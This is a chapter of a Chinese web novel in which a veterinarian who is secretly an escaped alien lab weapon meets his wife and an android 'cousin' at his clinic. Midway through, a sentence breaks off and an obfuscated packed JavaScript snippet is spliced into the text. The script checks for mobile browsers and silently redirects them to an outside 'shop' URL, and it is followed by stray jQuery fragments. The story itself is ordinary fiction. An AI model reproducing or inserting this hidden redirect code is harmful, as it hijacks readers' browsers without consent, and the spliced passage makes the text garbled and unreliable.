几乎是刹那间,陆凛松开了PRO-28,眼底翻涌的暴戾与寒意尽数褪去。
同一瞬,PRO-28胸腔处的空洞,正以肉眼可见的速度飞速自愈。
PRO-28不管三七二十一跑到谢以葭的身边躲着,虽然恐惧陆凛的强大,但又非常贱兮兮地在谢以葭耳边嬉笑道:“你就是嫂子了吧?我是陆凛哥同宗祠的堂弟,名叫陆屿。嫂子好!”
嫂子。
这个词,在社交场合中是对已婚女性的敬称。
这是陆凛第一次听到别人这样称呼自己的妻子。
嫂子。
陆凛不由回味了一番。
看在这么动听的称呼的份上,他可以选择暂时不杀PRO-28。
“陆屿?”谢以葭的目光不由在这个帅气的男人脸上多停留了片刻,继而,看向陆凛证实。
陆凛笑容略显僵硬地走到谢以葭身边,伸手接过她提着的饭盒。
虽然他很想让PRO-28消失在这个世界,但眼下,只能暂时顺着祂的话说:“是的,他是我的堂弟,名叫陆屿。”
“这样啊。”谢以葭觉得有点怪异,再次看向这个叫陆屿的人,“不好意思,以前没听陆凛提起过你,我没认出来。”
PRO-28立即自来熟地说:“是这样的嫂子,我和家人从小就在国外长大。我这次是专程回国来玩的,顺便来找哥叙叙旧,但更重要的是见见嫂子。”
因平日里和陆家亲戚往来甚少,他们大多在乡下,谢以葭至今都认不全陆家那些错综复杂的亲戚关系。
面对眼前自称陆凛同宗祠的堂弟陆屿,她礼貌地客气道:“你吃午饭了吗?既然我们是第一次见面,说什么也该我做东,替你接风洗尘。”
没想到的是,一旁的陆凛直接打断了谢以葭的邀请:“不用,他已经吃过午饭了。”
PRO-28不需要进食人类的食物。
祂只需喝西北风就能喝饱了。
接着,陆凛攥住谢以葭的手,一并用眼神警告这个自称是他亲戚的PRO-28,让他滚远点。
PRO-28见好就收,知道自己这会儿小命已经保住,也就讪讪退到一旁。
他见隔壁房间的铁笼里关着一只短腿小狗,自顾自走过去逗弄。
天气冷,谢以葭的掌心微凉,陆凛攥着她的手轻轻蹭了蹭,声线温柔缱绻:“怎么突然给我送饭来了?”
PRO-28在旁边竖着耳朵偷偷听着,起了一身鸡皮疙瘩。
谢以葭:“我下午的课和一个老师调了,想着你工作那么忙,就说给你送午餐。快说,你是不是忙到现在还没吃饭?”
“是啊,正好我也饿了,谢谢葭葭。”
谢以葭打开餐盒,小声询问陆凛:“你和你堂弟关系不好吗?我看你对他一点都不热情。”
不知是否她的错觉,总觉得一向好脾气的陆凛,在面对自己的堂弟时,脸上有一瞬的冷漠与疏离,甚至,还有厌恶。
陆凛:“嗯,我们关系并不好。”
谢以葭没想到还真是这样,一噎:“好吧。”
PRO-28仿佛有千里耳似的,伸长脖子朝夫妻俩望过来,纠正道:“嫂子,不是我们关系不好,是我哥不待见我。你是不知道,我一直很崇拜我哥!”
谢以葭觉得陆屿的性格跟个孩子似的,顺着他的话问:“是吗?那你崇拜他什么呀?”
“那可就多了!”PRO-28一边观察着陆凛的神色,一边不怕死地慢慢挪到两人面前,“我哥从小就天赋异禀!”
“陆屿。”陆凛冷声打断他。
PRO-28忍无可忍,壮着胆子:“陆凛!你到底为什么那么讨厌我!?”
陆凛上下打量PRO-28一番,冷不丁开口:“因为,你丑。”
没有血和肉的身躯,根本不能称之为人。
他们都是实验室里被催生出来的畸形生物,有着肮脏的基因,丑陋的外表。
“我丑?我哪里丑了?”PRO-28发出灵魂拷问,“我是这个世界上最完美的载体,我拥有最完美的五官,最完美的身材,最完美的性格……”
与此同时,谢以葭忍不住“噗嗤”一声笑了出来。
对不起!她不是故意想笑,除非真的忍不住。
其实在谢以葭眼中,陆屿根本和丑沾不上边。
单看外形,他约莫二十出头的年纪,应该还是个大学生。他个头比陆凛高一些,目测将近一米九,一头利落的短发衬得眉眼愈发分明,五官倒是和陆凛没有半分相似,却透着几分混血儿特有的深邃。
说实话,这人眉骨高挺,鼻梁笔直,皮肤白皙,帅得非常突出,是走在大街上会被人偷拍转发到闺蜜群的类型。
PRO-28转头问谢以葭:“嫂子,你觉得我丑吗?”
谢以葭笑笑:“你别听你哥胡说。”
“还是嫂子有眼光。”
PRO-28轻哼了一声,转头继续和那只短腿柯基玩了起来。
陆凛见谢以葭的目光停留在PRO-28身上,不着痕迹地转移她的注意力:“葭葭下午没课吗?”
“嗯!你早上不是还想让我请假吗?同事找我换了课,这下我真的不用上班了。”
“那我下午也不上班,陪葭葭。”
“别啊,我陪你一起上班。正好,想看看陆医生坐诊给小动物治病。”
陆凛依她:“好。”
*
午餐吃到一半,就有客人抱着一只小狗狗前来问诊。
陆凛只能暂停进食,先帮忙看病。
谢以葭见陆凛放下了筷子,也默默放下碗筷,打算等他忙完一起吃。
陆凛的诊所虽然看着朴素不起眼,可生意一直不错。而口碑爆发的起因,是几年前的一桩小事。当时有一个做自媒体的小博主抱着自家被车撞的小狗病急乱投医,就近找到了陆凛这家医院。
陆凛简单看诊过后,很快便着手给小狗治疗。仅凭一双眼,他就精准看出小狗身上的多处骨折,万幸的是,内脏器官并无损伤。
从清创固定到缝合换药,整套流程全由陆凛一人独自完成。为了救治这只骨折的小家伙,他着实耗费了不少心力。
而在陆凛精湛的医术照料下,术后的小狗恢复得格外迅速,不过几天,就能勉强支棱着腿,在诊台上慢慢挪动了。
后来该博主抱着痊愈大半的小狗再来复诊时,特意拍下了诊所的招牌和地址,回去后主动发了视频帮忙宣传。
在此前,陆凛的诊所生意清淡,他多半是在诊所里睡觉、看书。
而现在,他忙到连午饭都吃得不安生。诊所的口碑一传十,十传百。如今,甚至有外省的人专程抱着自家的宠物来找陆凛看病。
可事实上,陆凛并不是什么神医,他虽然拥有透视能力,可钻研动物治疗这件事,却实打实花了他几十年时间。
中午抱着小狗狗前来看病的主人是一位女性。
人类女性似乎天生多愁善感,没说几句就泪眼摩挲。但只要不是谢以葭的眼泪,他都不会在意。
是一只得了犬瘟细小的比熊幼犬,才两个月月龄大。
小狗很乖,但身上散发着粪便和尿骚味。
陆凛脸上并没有流露出嫌弃,用手指逗了逗它的下巴,淡淡开口:“小东西,你快死了。”
小狗主人在一旁听得心惊胆颤,眼眶更红:“医生,那现在怎么办?”
“先治疗,能不能挺过去看它自己造化。”
“好的,麻烦陆医生了。”
“不客气。”
陆凛配好药剂,将小狗放进一个剪了四个洞的帆布袋中,得以让它的四肢从四个洞里伸出来。很快,他给小狗挂上吊针。
狗主人则在一旁寸步不离地守着,给小狗加油打气。
等陆凛洗手消完毒过来时,摆在旁边桌上的饭菜都已经凉了。
而一旁的谢以葭从陆凛起身后,也一直没再进食。
“怎么不吃?不可口吗?”
谢以葭摇摇头:“等你呀。你在忙,我不想一个人吃独食。”
陆凛心里一暖。
一种怪异的,又让他十分餍足的情绪开始在他的四肢百骸蔓延。
好幸福。
他很想在这个时候紧紧抱住妻子,把脸埋进她的怀中。
可一旦选择这样做,他便会无法抑制自己的情绪,贪婪地探索她的每一寸肌肤,抑或得到更多反馈。
他会忍不住。
“饭菜凉了,我去热一下。”
“我来。”谢以葭连忙按住他的手,语气里带着点小执拗,“我难得来趟诊所,就让我当一次陆医生的小助理嘛。”
陆凛看着妻子眼里的认真,终究是没再阻止,由着她为自己忙前忙后。
作为基因里带有冷血动物的怪物,在遇到谢以葭之前,陆凛并不会爱人,更不会照顾人。那些人类世界里的温情与羁绊,于他而言不过是毫无意
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17013140|194147||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
义的陌生词汇。
可矛盾的是,他的躯壳里,偏偏又淤积着满溢的、无处疏解的汹涌情绪。
幸运的是,他遇上了自己的妻子。
妻子教会他如何爱人,如何被爱。而他也正笨拙又认真地学着,并将将满心滋生的柔软与热忱,都反哺给妻子。
这时的诊所里静悄悄的,在治疗中的动物们也都安安静静,没有一丝躁动。
除了一个非人类。
PRO-28不知何时出现在陆凛身旁,阴阳怪气地说:“我总算知道TRN-01为什么会选择结婚了,原来和人类女人过这种柴米油盐的日子,这么有滋有味。这画面不由让我想起脑海里那段人类的记忆……不过,我实在有些记不太清了,毕竟这段记忆已经存放太久了。”
“嘭”
陆凛背对PRO-28,手臂往后挥拳,一拳砸向祂的面颊,动作干脆利落。
速度过快,PRO-28并未来得及躲闪,脸颊被砸得凹下去大半。
可不过数秒,PRO-28脸上那片凹陷便以肉眼可见的速度回弹,皮肉翻涌间,又迅速恢复成那张精致面容,仿佛方才的重击从未发生过。
PRO-28气愤地咬咬牙,一下子与陆凛拉开距离,梗着脖子放话:“说真的,你下次再这样暴戾对我,我就跟嫂子告状!”
再次听到“嫂子”这个词,陆凛嘴角微微上扬:“你可以试试。”
PRO-28不敢轻易尝试,但这张嘴始终闲不住:“TRN-01,别忘了,论资排辈,我可比你早几十年创造出来!没有我,也就没有现在的你。”
“工业垃圾而已,你跟我比?”
PRO-28翻了个白眼,收起玩闹认真道:“如果我没猜错的话,那边已经派‘人’来找过你吧?”
陆凛面无表情地沉默着。
PRO-28却继续喋喋不休:“他们都找上门了,你还能忍的下去吗?想想你的妻子谢以葭,她是那么的美好,那么善良,那么可爱,和你那么匹配。如果祂们不小心误伤了你的妻子,以人类那么不值一提的修复能力,她又该如何承受这些伤害呢?”
“可惜啊,我没有你那么强大的能力,如果有话的话,我可不会任由祂们挑衅……”PRO-28一边说着,一边观察陆凛的神色。
陆凛终于侧头瞥了一眼PRO-28,这时他身后的长尾不知何时已然钻了出来,颜色从柔嫩的粉,彻底蜕成了泛着冷光的墨黑。
与此同时,他脸上的神情变得诡异可怖,伴随着面部骨骼发出的“咔嚓咔嚓”的脆响。他的身体在一瞬间剧烈扭曲、舒展,动作怪诞得令人心惊。仿佛下一秒,他就要挣脱人形的桎梏,某种狰狞的形态破茧而出。
PRO-28并不是没有见过陆凛非人类的形态。
事实上,作为诺瓦钛星星球一手缔造的超强实验体,曾经为编号TRN-01的陆凛,在很长一段岁月里,承载着整个研究室的野心与希望,是祂们耗费无数资源打磨出的“完美杀戮兵器”。
而在TRN-01成功存活之前,研究室的培养舱里,早已躺满了不计其数半途夭折的实验体残骸。
可谁又能预料,研究室最终竟会因无法掌控TRN-01的强大能力,而痛下杀手。他们以杜绝后顾之忧为名,冷酷地下达处决指令。
而作为被植入了部分人类记忆的PRO-28,在目睹这一切时,那颗本应冰冷的机械核心里,竟破天荒地漾起了一丝不忍。
最终,是祂冒着一切风险,悄悄放走了TRN-01。
自此,PRO-28也彻底背叛了研究室,成了与TRN-01并列的,最高级别的通缉目标。
可随着研究室里仿生人的产品更新迭代,150个地球公转周期过去,PRO-28早已经不是他们的对手。
PRO-28很清楚,祂现在只有在TRN-01身边才是最安全的。
当然,如果能说服TRN-01先发制人,那是最好不过的。
可TRN-01这个犟种能接受祂的游说吗?
等谢以葭端着热好的饭菜走出时,陆凛的神情早已恢复了往日的温和沉静,那条长尾也在刹那间敛了回去,了无踪迹。他依然是那个在面对妻子时,无比温柔妥帖的丈夫。
PRO-28默默观察,终于可以确定一件事。
看来,无所不能、无坚不摧的TRN-01,在这漫长的岁月里,也滋长出了属于他自己的弱点。